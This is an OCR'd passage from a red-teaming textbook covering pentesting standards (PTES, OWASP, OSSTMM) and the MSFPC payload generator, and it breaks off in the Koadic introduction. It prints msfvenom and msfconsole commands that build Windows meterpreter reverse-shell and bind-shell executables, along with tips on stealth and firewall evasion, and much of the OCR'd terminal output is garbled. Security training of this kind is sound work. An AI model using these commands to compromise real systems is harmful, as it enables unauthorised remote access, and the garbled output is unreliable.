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Preface

Red Teaming is used to enhance security by performing simulated attacks on the
organization in order to detect network and system vulnerabilities. Hands-On
Red Team Tactics starts with an overview of pentesting and Red Teaming, before
giving an introduction of few of the latest pentesting tools. You will then move
on to exploring Metasploit and getting to grips with Armitage. Once you have
studied the basics, you will understand Cobalt Strike basic, usage and how to set
up a team server of Cobalt Strike.

You will discover some common lesser known techniques for pivoting and how
to pivot over SSH, before using Cobalt Strike to pivot. This comprehensive
guide demonstrates the advanced methods of post-exploitation using Cobalt
Strike and introduces you to Command-and-control servers (C2) and
Redirectors. All this will help you achieve persistence using Beacons and Data
Exfiltration, and will also give you the chance to run through the methodology to
use Red Team activity tools like Empire during a Red Team activity on Active
Directory and Domain Controller.

By the end of the book, you will have learned advanced penetration testing tools,
techniques to get reverse shells over encrypted channels and processes for post-
exploitation. In addition to this, you will explore frameworks such as Empire
which include maintaining persistent access, staying untraceable, and getting
reverse connections over different C2 covert channels.



Who this book is for

Hands-On Red Team Tactics is for you if you are an IT professional, pentester,
security consultant, or ethical hacker interested in the IT security domain and
wants to go beyond Penetration Testing. Prior knowledge of penetration testing
is beneficial.



What this book covers

chapter 1, Red-Teaming and Pentesting, helps you understand about different
standards of pentesting followed across the industry, and we went through the
seven phases of the PTES standard in detail.

chapter 2, Pentesting 2018, introduces you to MSF Payload Creator (MSFPC).
We will also look at the use of resource files which were generated by MSFPC
besides the payload file

chapter 3, Foreplay — Metasploit Basics, teaches you about team server and the
Armitage client, including the setup and usage of Armitage.

chapter 4, Getting Started with Cobalt Strike, starts by exploring the red-team
exercise as well as the concept of the cyber kill chain, which can be used for an
attack plan. The chapter then introduces you to Cobalt Strike, the tool that is
used for red-team operations.

chapter 5, ./ReverseShell, explores what a reverse connection and reverse shell
connection is using various tools. Furthermore, we will try different payloads to
get reverse shell connections using Metasploit.

chapter 6, Pivoting, dives into port forwarding and its uses. We will also learn
about pivoting and its uses, followed by methods of port forwarding via SSH.

chapter 7, Age of Empire — The beginning, introduces you to Empire and its
fundamentals. We will also cover Empire's basic usage and the post exploitation
basics for Windows, Linux and OSX.

chapter 8, Age of Empire — Owning Domain Controllers, delves into some more



advanced uses of the Empire tool to get access to the Domain Controller.

chapter 9, Cobalt Strike — Red Team Operations, teaches you about the listener
module of Cobalt Strike along with its type and usage.

chapter 10, C2 — Master of Puppets, provides an introduction to command and
control (C2) servers and discussed how they are used in a red team operation.

chapter 11, Obfuscate C2s — Introducing Redirectors, introduces you to redirectors
and the reason why obfuscating C2s are required. We have also covered how we
can obfuscate C2s in a secure manner so that we can protect our C2s from
getting detected by the Blue team.

chapter 12, Achieving Persistence, dives into achieving persistence using
Armitage's inbuilt exploit modules, then we will learn how to do the same via
Empire on Windows, Linux, and macOS machines.

chapter 13, Data Exfiltration, discusses about some basic ways of transferring
data using simple tools like Netcat, OpenSSL and PowerShell. Next, we jumped
into transforming the data using text-based steganography to avoid detection, as
well as looking at the usage of the CloakifyFactory tool.



To get the most out of this book

The readers should have prior knowledge to networking basics, Linux basic
commands, Penetration Testing standards and hands-on experience in using tools
such as Metasploit, Nmap, and so on.

The readers should have at least Linux installed for Red Team Engagement. Kali
is recommended as it comes with pre-configured tools.



Download the color images

We also provide a PDF file that has color images of the screenshots/diagrams
used in this book. You can download it here: https://www.packtpub.com/sites/default/f

iles/downloads/9781788995238_ColorImages.pdf.


https://www.packtpub.com/sites/default/files/downloads/9781788995238_ColorImages.pdf

Conventions used

There are a number of text conventions used throughout this book.

codeInText: Indicates code words in text, database table names, folder names,
filenames, file extensions, pathnames, dummy URLSs, user input, and Twitter
handles. Here is an example: "Let's try to use the backdoor_ink module by typing

. mn
info.

Any command-line input or output is written as follows: git clone
https://github.com/g0tmilk/mpc

Bold: Indicates a new term, an important word, or words that you see onscreen.
For example, words in menus or dialog boxes appear in the text like this. Here is
an example: "Click the Add an app button to add an application."

0 Warnings or important notes appear like this.

8 Tips and tricks appear like this.



Get in touch

Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book, mention
the book title in the subject of your message and email us at

customercare@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our
content, mistakes do happen. If you have found a mistake in this book, we would
be grateful if you would report this to us. Please Visit www.packt.com/submit-errata,
selecting your book, clicking on the Errata Submission Form link, and entering
the details.

Piracy: If you come across any illegal copies of our works in any form on the
Internet, we would be grateful if you would provide us with the location address
or website name. Please contact us at copyright@packt.com with a link to the
material.

If you are interested in becoming an author: If there is a topic that you have
expertise in and you are interested in either writing or contributing to a book,
please ViSit authors. packtpub.com.


http://www.packt.com/submit-errata
http://authors.packtpub.com/
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Reviews

Please leave a review. Once you have read and used this book, why not leave a
review on the site that you purchased it from? Potential readers can then see and
use your unbiased opinion to make purchase decisions, we at Packt can
understand what you think about our products, and our authors can see your
feedback on their book. Thank you!

For more information about Packt, please visit packt.com.


http://www.packt.com/

Disclaimer

The information within this book is intended to be used only in an ethical
manner. Do not use any information from the book if you do not have written
permission from the owner of the equipment. If you perform illegal actions, you
are likely to be arrested and prosecuted to the full extent of the law. Packt
Publishing does not take any responsibility if you misuse any of the information
contained within the book. The information herein must only be used while
testing environments with proper written authorizations from appropriate
persons responsible.



Red-Teaming and Pentesting

Pentesting is an authorized attack on a computer system, done to evaluate the
security of the system/network. This test is performed to identify vulnerabilities
and the risks they possess.

The 1960's marked the true beginning of the age of computer security. In this
chapter, we will cover the methodology of pentesting that is widely used, as well
as the red-teaming approach, which is now being adopted across different
corporations.

In this chapter, we will cover the following topics:

e Pentesting 101
e A different approach
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Pentesting 101

As we all know, penetration testing follows a standard. There are various
standards, such as the Open Web Application Security Project (OWASP), the
Open Source Security Testing Methodology Manual (OSSTMM), the
Information Systems Security Assessment Framework (ISSAF), and so on.
Most of them follow the same methodology, but the phases have been named
differently. We will take a look at each of them in the following sections and
cover the Penetration Testing Execution Standards (PTES) in detail.



OWASP

OWASP is a worldwide not-for-profit charitable organization that focuses on
improving the security of software.

It's a community of like-minded professionals who release software and
knowledge-based documentation on application security, covering such subjects
as:

Information gathering
Configuration and deployment management testing
Identity management testing
Authentication testing
Authorization testing
Session management testing
Input validation testing
Error handling
Cryptography

Business logic testing
Client-side testing


airs-sec
高亮

airs-sec
高亮

airs-sec
高亮


Open Source Security Testing
Methodology Manual (OSSTMM)

As mentioned on their official website, this is a peer-reviewed manual of
security testing and analysis, providing verified facts. These facts provide
actionable information that can measurably improve your operational security.

The OSSTMM includes the following key sections:

Operational security metrics

Trust analysis

Work flow

Human security testing

Physical security testing

Wireless security testing

Telecommunications security testing

Data networks security testing

Compliance regulations

Reporting with the Security Test Audit Report (STAR)
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Information Systems Security
Assessment Framework (ISSAF)

ISSAF is not very active, but the guide it has provided is quite comprehensive. It
aims to evaluate the information security policy and process of an organization
with regard to its compliance with IT industry standards, along with laws and
regulatory requirements. The current version of ISSAF is 0.2.

The stages that it covers can be found at https://www.owasp.org/index.php/Penetration_t

esting_methodologies.


https://www.owasp.org/index.php/Penetration_testing_methodologies
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Penetration Testing Execution
Standard (PTES)

This standard is the most widely used standard and covers almost everything
related to pentesting.

PTES is divided into the following seven phases:

Pre-engagement interactions
Intelligence gathering
Threat modeling
Vulnerability analysis
Exploitation
Post-exploitation

Reporting

NouhkwhE

Let's take a brief look at what each of these phases involves.



Pre-engagement interactions

These actions involve multiple processes to be carried out before an activity
kicks off, such as defining the scope of the activity, which usually involves
mapping the network IPs, web applications, wireless networks, and so on.

Once the scoping is done, lines of communication are established across both the
vendors and the incident reporting process is finalized. These interactions also
include status updates, calls, legal processes, and the start and end dates of the
project.



Intelligence gathering

This is a process that is used to gather as much as information as possible about
the target. This is the most critical part of pentesting, as the more information we
have, the more attack vectors we can plan to perform the activity. In case of a
whitebox activity, all this information is already provided to the testing team.



Threat modeling

Threat modeling model depends on the amount of information gathered.
Depending on that, the activity can be divided and then performed using
automated tools, logical attacks, and so on. The following diagram illustrates an
example of a mindmap of a threat model:
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Vulnerability analysis

This is a process of discovering flaws that can be used by an attacker. These
flaws can be anything ranging from open ports/service misconfiguration to an
SQL injection. There are lots of tools available that can help in performing a
vulnerability analysis.

These include Nmap, Acunetix, and Burp Suite. We can also see new tools being
released every few weeks.



Exploitation

This is a process of gaining access to the system by evading the protection
mechanism on the system based on the vulnerability assessment. Exploits can be
public, or a zero day.



Post-exploitation

This is a process where the goal is to determine the criticality of the compromise
and then maintain access for future use. This phase must always follow the rules
of the engagement that is protecting the client and protecting ourselves (covering
the tracks as per the activity's requirements).



Reporting

This is one of the most important phases, as the patching of all the issues totally
depends on the details presented in the report. The report must contain three key
elements:

e Ciriticality of the bug
e Steps of reproduction of the bug
e Patch suggestions

In summary, the pentest life cycle phases are presented in the following diagram:

Patch ' Scope

Validation Identification
Reporting Yulnerability
and Patching Analysis

\ Exploitation

and Cleanup



A different approach

Let's discuss a different approach: red-teaming. The main objective of red-
teaming is to assess and obtain the real level of risk a company has at that
moment in time. In this activity, networks, applications, physical, and people
(social engineering) are tested against weaknesses.

Red-teaming can also be considered as a simulation of a real-world hack.



Methodology

Red-teaming is based on the PTES standard as the foundation. However, there's
much more to it. It can be said that the penetration testing activity is performed
with the aim of finding as many vulnerabilities in the given amount of time as
possible. However, red-teaming is performed with only one goal and by staying
discreet.

The methodology used in a red-team activity involves the following:

Reconnaissance
Compromise
Persistence

Command and control
Privilege escalation
Pivoting

Reporting and cleanup

The following cycle basically repeats for every new piece of information that is
found about the client until the goal is met:



Report
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How is it different?

Let's look at it with a different perspective to get a clearer picture:

Pentesting

Physical Security

Social Engineering

Looking at the preceding diagram, we can see that red-teaming involves using
every means to achieve the goals. We can summarize the major difference
between red-teaming and pentesting as follows:

e Red-teaming involves finding and exploiting only those vulnerabilities that
help to achieve our goal, whereas pentesting involves finding and
exploiting vulnerabilities in the given scope, which is limited to digital
assets

e Red-teaming has an extremely flexible methodology, whereas pentesting
has fixed static methods

e During red-teaming, the security teams of the organizations have no



information about it, whereas during pentesting, security teams are notified
e Red-teaming attacks can happen 24/7, while pentesting activities are mostly
limited to office hours
e Red-teaming is more about measuring the business impact of the
vulnerabilities, whereas pentesting is about finding and exploiting
vulnerabilities.



Summary

Wrapping up the chapter, we learned about different standards of pentesting
followed across the industry, and we went through the seven phases of the PTES
standard in detail. We also looked at red-teaming and how it is different from
pentesting.

In the next chapter, we will look at a few of the latest post-exploitation tools and
examine in detail how they work.



Questions

What are the different pentesting standards?

What are the different phases of PTES?

What is the difference between red-teaming and pentesting?
What are the key elements of a report?

What is the main objective of a red-team activity?

e e



Further reading

For more information on the topics discussed in this chapter, please visit the
following links:

° ngh Level Organization of the Standard: http://www.pentest-standard.org/in
dex.php/Main_Page

e OSSTMM: http://www.isecom.org/mirror/0SSTMM. 3. pdf

e Web AppliCﬂﬁOﬂ Penetration Testing: https://www.owasp.org/index.php/Web_App
lication_Penetration_Testing

e Information Systems Security Assessment Framework (ISSAF): nttp://w
ww.0issg.org/issaf02/issaf0.1-5.pdf

e InfoSec Resources: https://resources.infosecinstitute.com/the-history-of-penetra
tion-testing/#gref
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https://www.owasp.org/index.php/Web_Application_Penetration_Testing
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Pentesting 2018

For the past few years, we have been using tools such as the Metasploit
Framework, routersploit, LinuxEnum.sh, nmap, and so on for post—exploitation and
scanning. With the growing popularity of new tools, it would be good to learn
about some new tools that can be used for post-exploitation. Out of the many
available tools, we will be looking at MSFvenom Payload Creator (MSFPC)
—a simple MSF-based payload generator; and Koadic—a COM-based
Command and Control (C3) server, which can be used in red-team operations
or penetration testing for post-exploitation.

In this chapter, we will cover the following tools:

e MSFPC
e Kaodic
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Technical requirements

e *nix-based system (Kali, Ubuntu, or macOS X)
e The Metasploit framework (needed for MSFPC)
e Python package version 2 or 3 (needed for Koadic)



MSFvenom Payload Creator

MSFvenom Payload Creator (MSFPC) is a user-friendly multiple payload
generator that can be used to generate Metasploit payloads based on user-
selected options. The user doesn't need to execute the long msfvenon commands to
generate payloads anymore. With MSFPC, the user can generate the payloads
with far fewer commands.

Before downloading the tool, Metasploit should be installed in the system.
MSFPC is just a simple bash script, which means that it can be executed on *nix
systems.

We can download the MSFPC package from https://github.com/g0tmilk/mpc. We can
either download the repository in a ZIP file or we can clone the repository on our
local system by running the following command:

git clone https://github.com/gotmilk/mpc
: ' :~ Harry$

:~ Harry%

i~ Harry$ git clone https://github. com/g@tmilk/mpc
Ilunlﬂn i e el

remote: Luunflnq ub1~u+~: 2 done.
. ed @ (delta @), pack-reused 79
done.

After cloning the repo, let's issue an execute permission on msfpc.sh file.

cd mpc/

chmod +x msfpc.sh

./msfpc.sh

./msfpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS


https://github.com/g0tmi1k/mpc
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e tvee: The payload could be of any of the following formats (this option is
the same as the -r switch in msfvenom)Z APK [android], ASP, ASPX, Bash [.sh], Java
[.jsp], Linux [.elf], 0SX [.macho], Perl [.pl], PHP, Powershell [.ps1], Python [.py],
Tomcat [.war], Windows [.exe //.dll].

e povarn/zp: This is the trost option when generating payloads in msfvenom.

e porT: This is the Lrort option when generating payloads in msfvenon.

e cwvp/msr: This is the type of shell dropped once the payload is executed on the
target system. The cvo option can be used when you want to get a standard
command shell; that is, the Command Prompt shell (cnd.exe) for Windows
and Terminal (/bin/bash) for *nix. In some cases, where the size of the
shellcode matters, it's better to use the classic reverse shell payload. cwo can
be used in situations like these.

Generating a simple classic reverse shell payload can be done by executing the
following command:

| sh msfpc.sh cmd windows eno

The preceding command will generate a payload with a cnd as the preferred shell
for Windows and set the L+osT to the IP retrieved from the eno Ethernet interface:
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o Zorbn 3kempe Harry$ sh msfpc.sh ond windows end

<@ " "Pl'll"'lf'l'l oyload " regtor ( v1.4.4)

1] IP: 192.108.2.10

1] POF T 443

1] TYPE: windows (windows/shell/reverse_tep)

1] CMD: msfvenom -p windows/shell/reverse_tcp - exe \

Latform windows -0 x80 - generic/none LH0ST=192.108.2.10 LPORT=443 \
> flIsers/Harry/mpc/windows-shel [-staged-reverse-tep-443, exe’

|
|
|
k

-¢ [1] windows shell created: */Users/Harry/mpc/windows-shell-staged-reverse-tep-443. exe'

¢ [1] WSF hondler file: "/lls Hr’ Harry/moc/windows-shel [-staged-reverse-tep-dd3-exe, e’
¢ [1] Run: ms fmnul - -1 /Users/narry/moc/windows-shel [-stoged- reverse-top-443-exe. e’
| (uick web server (for f1le transfer)/: pythonZ - SmplerTTPServer 8480
l
rhxZorb 3xhempe Horry$ 1 -0l windows-shel [-staged- reverse-top-443*
-Mr--r-- L harry  staff 4MHWFT1HMWMWW%WH“hWHWWﬂwﬂlﬂiiL:
-rixr-xr-x o LHarry staft 72 Moy 12 1837 winaows-shel l-staged-reverse-top-443, exe
A Zor 3k moc Harrys

As you can see from the preceding screenshot, MSFPC created two files in the
same directory:

e The executable payload: windows-shell-staged-reverse-tcp-443.exe
e The resource file: windows-shell-staged-reverse-tcp-443-exe.rc

The naming convention for the files are easy to understand as they are named
after the options used while creation. We just created a Windows staged



(explained later in this chapter) executable when executed on the target server
will connect back to our system (reverse connection) on our local port 443 and
drop us a command prompt shell. Hence, windows-shell-staged-reverse-tcp-
443.exe. It is preferred to have a reverse shell instead of a bind shell (explained
in the further chapters)
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Resource file

As eXplained in the documentation of Metasploit (https://metasploit .help.rapid7.com
/docs/resource-scripts), resource SCFiptS provide dll edasSy way for you to automate
repetitive tasks in Metasploit. Conceptually, they're just like batch scripts. They
contain a set of commands that are automatically and sequentially executed
when you load the script in Metasploit. You can create a resource script by
chaining together a series of Metasploit console commands and by directly
embedding Ruby to do things such as call APIs, interact with objects in the
database, and iterate actions.

Let's check out the .rc file generated by MSFPC in the preceding command:

w$ cat windows-shell-staged-reverse-top-443-exe. re

[__Il_l_:‘l’ "Wl ndows/ Hll'“ll']l']l—' it |'H"|T|'E'

X Zombt 3K ‘mpc Harry$

The payload is set to windows/shell/reverse_tcp When the cvp option is used.

The mst option generates the payload with a custom cross-platform shell that uses
the full potential of Metasploit: sh msfpc.sh msf windows en(


https://metasploit.help.rapid7.com/docs/resource-scripts
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Aot e Horry$ sh msfpc.sh nsf windows erd
o uHIIIIlII tylood Creator (57 V144
£ [i] IP 19 160,2.1
¢ [1] 'IIT 43
¢ [1] TYPE: windows (WLndows/meterpreter/ reverse_tep)
-¢ (1] CHD: msfvenom -p windows/meterpreter/ reverse_tcp - axe \
--platform windows -0 x8b -¢ genertc/none [HOST=192.168.2.10 [PORT=A443 \
> fLsers/Harry/mpc/ndows-neterpreter-staged-reverse-tep-443. exe'

- [1] windows meterpreter created: '/Users/Harry/mpc/windows-meterpreter-staged-reverse-tep-443. exe'

¢ [1] IGF handler file: */Users/harmy
- [1] Fun ¢ Tmlwl 1

o3y HIL“ Hl” 1

If you look at the .rc file generated from MSFPC when the nsf option is used,
you'll see the difference in the payload used by the payload handler:



xompc Harry$ cat windows-meterpret

sarylce g

2. x/Rolling]:

altSmultlAhandler
WO el ndomi

run -7
AxZombl3xXx:mpc Harry$

The payload iS set tO windows/meterpreter/reverse_tcp When the msr OptiOIl is used.
The resource file can be executed with msfconsole, using the following command:
msfconsole -q -r 'windows-meterpreter-staged-reverse-tcp-443-exe.rc’

Where:

e _qisused for quiet mode (no good looking for the MSF banner)
e .risused for the resource file
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started rvers 1P ondler on 19,168, 0. 22: 45
f eglit{forde)

Once the payload is executed, the stager will request for other parts of the
payload to be sent over to the target server. These parts of the payload will be
sent by payload handler and the complete staged payload is delivered to the
victim:



Note: The payload we used in the preceding image is x86 based but the system is
x64 architecture. It's recommended that the payload should either match the




same architecture as the operating system. In Metasploit we can either migrate
from x86 based process to x64 based process or we can use the Metasploit post
module post/windows/manage/archmigrate tO migrate from x86 to x64 architecture.

e sno/reverse: The type of connection to be made once the payload is executed
on the target system.

e sin: This shell connection will open a port on the target server and connect
to it. To get a s1no connection is very rare as ingress (incoming) firewall
rules block the ports on the target server.

| ./msfpc.sh bind msf windows en0

The preceding command will generate a Windows meterpreter payload, which
will open a port on the target server and listen for a bind connection from our
payload handler once the payload is executed. The port may not be accessible for
connection due to firewall. In this situation, we can opt for reverse shell
payloads which will bypass the firewall ruleset for outgoing connection and
connect back to our system.
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okxZon 3xke:moc Harryd . Amsfpc. sh bind msf windows end

wnnm oyload Cregtor (RSP v1LA2)

] IP: 192.168.2.10

1] POR T M3

1] TYPE: windows (windows/meterpreter/bind_tcp)

1] CHD: msfvenom -p windows/meterpreter/bind_tcp -f exe \
--platfom windows -0 xBb -e generic/none  LPORT=443 \

> {sers/Harry/mpc/windows-meterpreter-staged-bnd-tep-443. exe'

1

[1] windows meterpreter created: ' /lisers/Harry/mpc/windows-neterpreter-staged-ind-tep-443. exe

[1] WSF hondler f1le: */lsers/Harry/moc/windows-neterpreter-staged-ind- tep-442-exe, e’
[1] Run: s feonsole -0 -1 ' lsers/ HLIlf fIc/wndows-meterpreter-staged-bind-tep-ddd-exe. e’
| ( ) server (for flle transer)/ pythonZ -m SinpledTTPServer 860

el
o 3y MpC HlH q

Out of the two files generated by MSFPC, let's check out the .rc file for this:



#set AutoRunScr p’r post/windows/manage/migrate’

HJH -]
xZombi3xkx:mpe Harry$

The payload is set t0 windows/meterpreter/bind_tcp instead of reverse_tcp, which
shows that the payload handler will use a BIND connection to connect to the
target server.

e reverse: This shell connection will open a port on the attacker machine.
Once the payload is executed, the target server will connect back to the
attacker. To get a reverse connection is a very good way of bypassing ingress
firewall blocks but this method can be blocked if egress (outbound) firewall
rules are in place. By default, MSFPC will generate the payload with the
reverse shell connection.

e stacen/staceLess: The type of payload to be used.

e stacen: This is the payload type that sends the payload in multiple stages,
which makes it smaller in size but it relies on Metasploit's payload handler
for sending the remainder of the parts to the target server. By default,
MSFPC will generate a staged payload.

e staceLess: This is a complete payload and is more stable and reliable than the
stacep payload but the size of this kind of payload is way too much in
Comparison to STAGep:

| ./msfpc.sh cmd stageless bind windows en@

The preceding command will generate a stageless windows executable payload
when executed. It will open a port on the target system and listen for a sinp



connectlon to get a standard Command Prompt:
CAXimpC Rarm sFpc. aless bind windows eng
YEnom u_,lu._.ujd reqtor
[1] 1IP: 192.108.2.10
[1] PORT: 443
[1] TYPE: windows (windows/shell_bind_tcp)
[1] CMD: msfvenom -p windows/shell_bind_tcp -f exe \
--platform windows -a x80 -e generic/none LPORT=443 \
= "/lUsers/Harry/mpc/windows-shel1-stageless-bind-tcp-443. exe'

[1] windows shell created: '/Users/Harry/mpc/windows-shell-stageless-bind-tcp-443.exe’

I
xxxZorbi3x¥x:mpe Harry$

msfdb start; rn:z.fu._u._.ur'|.5.u._.|1H_. —q -r ! I_I_er"' fHOrry/ rnpr

run -J
$xZombi 3xkx mpe Harry$

e payload is set to windows/shell_bind_tcp, W ichis a stageless Padyload. staged
The payload tt hich yload. A
payload in Metasploit would be windows/shell/bind_tcp.

® 1cp/HTTR/HTTPS/FIND_PoRT: The communication method required by the payload
to communicate with the payload handler.
e tcp: This is the standard communication method once the payload is



executed on the target server. This communication method can be used with
any type of payload and payload format, but this can easily be detected by
IDS and blocked by firewalls and IPS because of its unencrypted nature.

e urre: If this option is used by MSFPC, the payload will use HTTP as the
communication method. Instead of communicating on any given TCP port,
the payload will communicate on port se. This option can be used to bypass
firewalls if only port se is open on the target system. This can be detected
by IDS and blocked IPS because of its unencrypted nature.

e urtes: This option is used when generating a payload that will use SSL
communication. It's recommended to use this option for stealthy reverse
connections.

e rno_port: This option is used when we are unable to get reverse connections
from common ports (se, 443, 53, 21). If this option is set, MSFPC will
generate the payload, which will try all 1-es535 ports for communication.

e sarcH/Loor: MSFPC can generate multiple payloads (multiple OS platforms)
with a single command. This can be achieved by using either the satch Mode
OI' LOOP Mode.

® gatcH mode: In the satch mode, MSFPC can generate multiple payloads with as
many combinations of payload type as possible:

| ./msfpc batch windows eno



x¥xZombi3xXx:mpe Harry$ | /msfpe.sh batch windows end
venom ayload Cregtor ( v1.4.4)
[1] Batch Mode. Creating as many different combinations as possible

vanom “ayload (regtor ( v1.4.4)
[1] IP: 192.166.10.122
[1] PORT: 443
[1] TYPE: windows (windows/meterpreter/reverse_tcp)
[1] CMD: msfvenom -p windows/meterpreter/reverse_tep -f exe \
--platform windows -0 xB6 -e generic/none LH0ST-192.168.10.122 PORT=443 \
» '/llsers/Harry/mpc/windows-meterpreter-staged-reverse-tcp-443. exe'

[1] windows meterpreter created: '/Users/Harry/mpc/windows-meterpreter-staged- reverse-tep-443. exe'

[1] MSF hondler file; "/Users/Harry/mpc/windows-meterpreter-staged- reverse-tep-443-exe, rc'
[1] Run msfconsole -0 - '/sers/Harry/mpc/windows-meterpreter-staged- reverse-tep-443-exe. e’

er (for file transfer)?: python? -m SimpleRTTFServer 8080
l

venom “ayload (regtor ( v1.4.4)
[1] IP: 192.168.10.122
[1] PORT: 443
[1] TYPE: windows (windows/meterpreter/reverse_http)
[1] CHD: msfvenom -p windows/meterpreter/reverse_http -f exe \
--platform windows -0 X80 -e generic/none [H0ST=192.168.10.122 LPORT=443 \
» ' /llsers/Harry/mpc/windows-meterpreter-staged-reverse-http-443. exe'

[1] windows meterpreter created: '/Users/Harry/mpc/windows-meterpreter-staged- reverse-http-443. exe’

[1] MSF handler file: */Users/Harry/mpc/windows-meterpreter-staged-reverse-http-d43-exe. rc’
[1] Run: mchonsole -0 -r */Users/Harry/mpc/windows-meterprater-staged- reverse-nttp-443-exe, rc'

er (for file transfer)?: python? -m SimpledTTPServer 8080
|




MSFPC generated all the combination of payloads for only Windows (as
mentioned in the options) with their respective resource files (.rc):



sz 3
[ r=---
- PN
[ r=---
- PN
[ r=---
iy 1
“fif-r---- |
iy 1
“fif-r---- |
iy 1
“fif-r---- |
iy 1
“fif-r---- |
iy 1
“fif-r---- |
iy 1
“fif-r---- |
iy 1
“fif-r---- |
iy 1
“fif-r---- |
iy 1
“fif-r---- |
iy 1
sz 3k

C Harryd 15 -0lh
oy stoff 4
oy stoff
oy stoff 4
oy stoff
oy stoff 4
oy stoff
0y stoff
oy stoff
0y stoff
oy stoff 24
oy stoff 4
oy stoff 2
oy stoff 48
)
!

dos-*

0y 14 16:5
0y 14 16:5
0y 14 16:5
0y 14 16:5
0y 14 16:5
0y 14 16:5
0y 14 16:5
0y 14 16:5
0y 14 16:5
0y 14 16:5
0y 14 16:5

Win
I N
I

I
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I

oy 14 16:5
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I
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I
I
l
l

-
0We-
-
0We-
-
0We-
-
0We-
-
0We-
-
0We-
-
0We-
-

terpreter-staged-ond-top-243-exe. rc
terpreter-staged-oind-top-443. exe

terpreter-staged-reverse-nttp-443-exe,
terpreter-staged-reverse-nttp-443. exe
ttp
p

!
!
!
!
!

’
f
f
i
f
i
f
i
f
i
f
i
f
i
f
i
f
i
f
i
f
i
f
i
i
'

!
{ pterpreter-staned-reverse-ntEps-dd-axe. e
pterpreter-staged-reverse-nttps-443, e
pterpreter-staged-reverse-top-44d-axe, e
terpreter-staged-reverse-top-Add. exe

9 0

2 0

1 0

2 0

; 0

! I

4ot I

It 0 }

iy terpreter-stoneless-OLnd-top-44d-exe. rc
] pterpreter-stageless-Dind-top-4dd. exe
terpreter-staneless-reverse-nttp-443-exe, e
terpreter-stageless-raverse-nttp-443. exe

0y 14 16:5 terpreter-stageless-reverse- tps-443-axe,
arry staft 20K oy 14 16:5 el I

arry stoff 4748 Moy 14 16:5 (el

arry starf 249 oy 14 16:5 el

arry stoff 4418 oy 14 16:5 I
arry staft 72K oy 14 16:5
arry staff 4508 oy 14 16:5
arry staff 72K oy 14 16:5
arry stoff 4478 oy 14 16:5
arry staff 72K oy 14 16:5
arry stoft 4508 Moy 14 10:94 w
oy stoft 72K Moy 14 16:94 w

¢ oy

pterpreter-staneless-raverse-nttps-443, e
parpretar-stageless- reverse- top-243-axe. e
Os-eterpreter-stageless- reverse-top-A43. exe
Ois-shel 1-staged-Dund- top-443-exe. re
Ois-shel 1-staged-Dnd-top-443. exe
Ois-shel 1-staged-reverse- top-4dd-axe. re
Ois-Shel 1-staged-reverse-top-443, e
Ois-shel 1-stageless-Dund-top-4dd-axe. re
nel- }
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-aell-
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e Loop mode: This mode can generate multiple payloads of all types. MSFPC
can also generate all the payloads for a given Lwost. This can be useful in an
environment where we don't have the exact knowledge of the platform's
OS. The payloads can be generated with the following command:

./msfpc.sh loop 192.168.10.122



xbZorbt b metasp Lo t-Framevork Harryb ~/mpc/msfoc.sh loop 192,168.10, 122
venon “aylood regtor (v )
[1] Loop Mods, Creating one of each TYPE, with default values
venon “aylod pegtor (v )
MMMW

1
1

]

1] P
] T
1] (

mMMWmWWwMmeH@

1 msfvenom -p andrid/meterpreter/ reverse_tcp \

[HOST=192. 108, 10122 LPORT=443 \

» *fusr/local/share/metasplott-Franework/mdrol d-neterpreter-stageless- reverse- top-443. k'

I
RT. 4
fE:
0.

(1] Fule (/usr/locel/share/metasplot t-Framewort/androtg-netarpreter-stageless- reverse-top-443,a0k) already exists, Overwriting. ..
[1] andrord meterprater cragted: */usr/local/share/metasplott-fravework/androld-meterprater-stageless-reverse- tep-443. apk'

[1] WS hondlar f1le; */usr/Tocal/share/metasplolt-framework/ anorot d-neterprater-stagel ass-reyarse-tep-44s-apk. e’
(1] fum: mstcansole - - */usr/localy share/metasplatt-ravewrs, ndrolg-neteroreter-stageless- raverse- top-243-gpk. e
(for f1le transter)/: python -n SumplenTTPServer 8080

P
:
|

enom “ayload regtor (00 WA
1] P 192.168.00.122
1] PORT; 443
1] TYPE: windows (windows/meterpreter/ raverse_t)
1] CHD: mefvenom -p windows meterpreter/reverse_tep -f asp \
--platform windows -0 x6b -e genertc/none [HOS1=192. 16810127 LPORT-A43 \
» ' fusr/local/share/metasplott-Franework/wiLndows-neterpreter-staged- reverse-tep-443. asp’

[1] windows meterprater cregted: " /usr/Tocal/share/metasplolt-franesork/windows-meterprater-staged-reverse-tep-443. osp'

[1] WS hondlar fule; "/usr/Tocal/share/metasplolt-fromesork /wndons-neterpratar-staged-reverse-top-243-0sp. re
(1] fum: msecansole -0 - */usr/ local/ share/metasplot t-franewr /v ndows-netanreter-staged-ravarse-top-443-gsp. e
(for f1le transfer)/: python? - SuplenTTPServer 8080




MSFPC generates payloads with oerauLt values for all the payload types
with their respective resource files (.rc):

TmHTHl’LIF THI‘ h
lﬂl’u REETEE
OV O-RERREter-Stael-
il mHTHrpr THF
HIRLETTecer-S10g

Ji
Ji

y

Iy
0-MET
-
,'Hulu et

e versose: This option is used if you want to get more information on what
values are used by MSFPC while generating a payload:

| ./msfpc.sh loop 192.168.10.122 8080 verbose



om ke lemmkW%/w%W%Mwm%MMH%Mmm
venon - ayloaa regtor (v
[1] Loop Hode. Creating one of each TYPE, it defult volues

: [elerse
 Stageless

il

m%mpmMWMmMWmmﬂm\

10.122 |PORT-G089 \

staremetasplot - framework ol c-eterpreer-stageless-reverse- tCp-BO0R.

[1] oo\ meterpreter cregted: */usr ocal/Share/metasplon -fromework/ ndrotd-neterpreter-stageless-reverse-bep- 6080,

|- et/ o Me

oneter-stogeess-reverse-top-G000- ook e
sterpreter-stogeless-raverse-top-GR-opl e

A
il




In this case, Loor mode is used to generate payloads with LrorT set to sese.

The features of the tool are updated and maintained by its repository. It's highly
recommended to look for tool updates online every two weeks.



Koadic

Koadic is a Windows post-exploitation toolkit with a similar interface to the
other famous tools used for penetration testing purposes, namely, Empire and
Metasploit. It's called C3 for a reason and that is because it uses the Component
Object Model (COM) in Windows and operates using the script host utility
(also known as JScript/VBScript). COM objects were introduced by Microsoft in
1993, which also means that Koadic's payloads are compatible with the older
versions of Windows (NT/95/2000) up until the latest version, Windows 10.
Koadic is built on Python and it's compatible with Python 2 as well as Python 3.
The payloads generated by Koadic can be executed completely in-memory (from
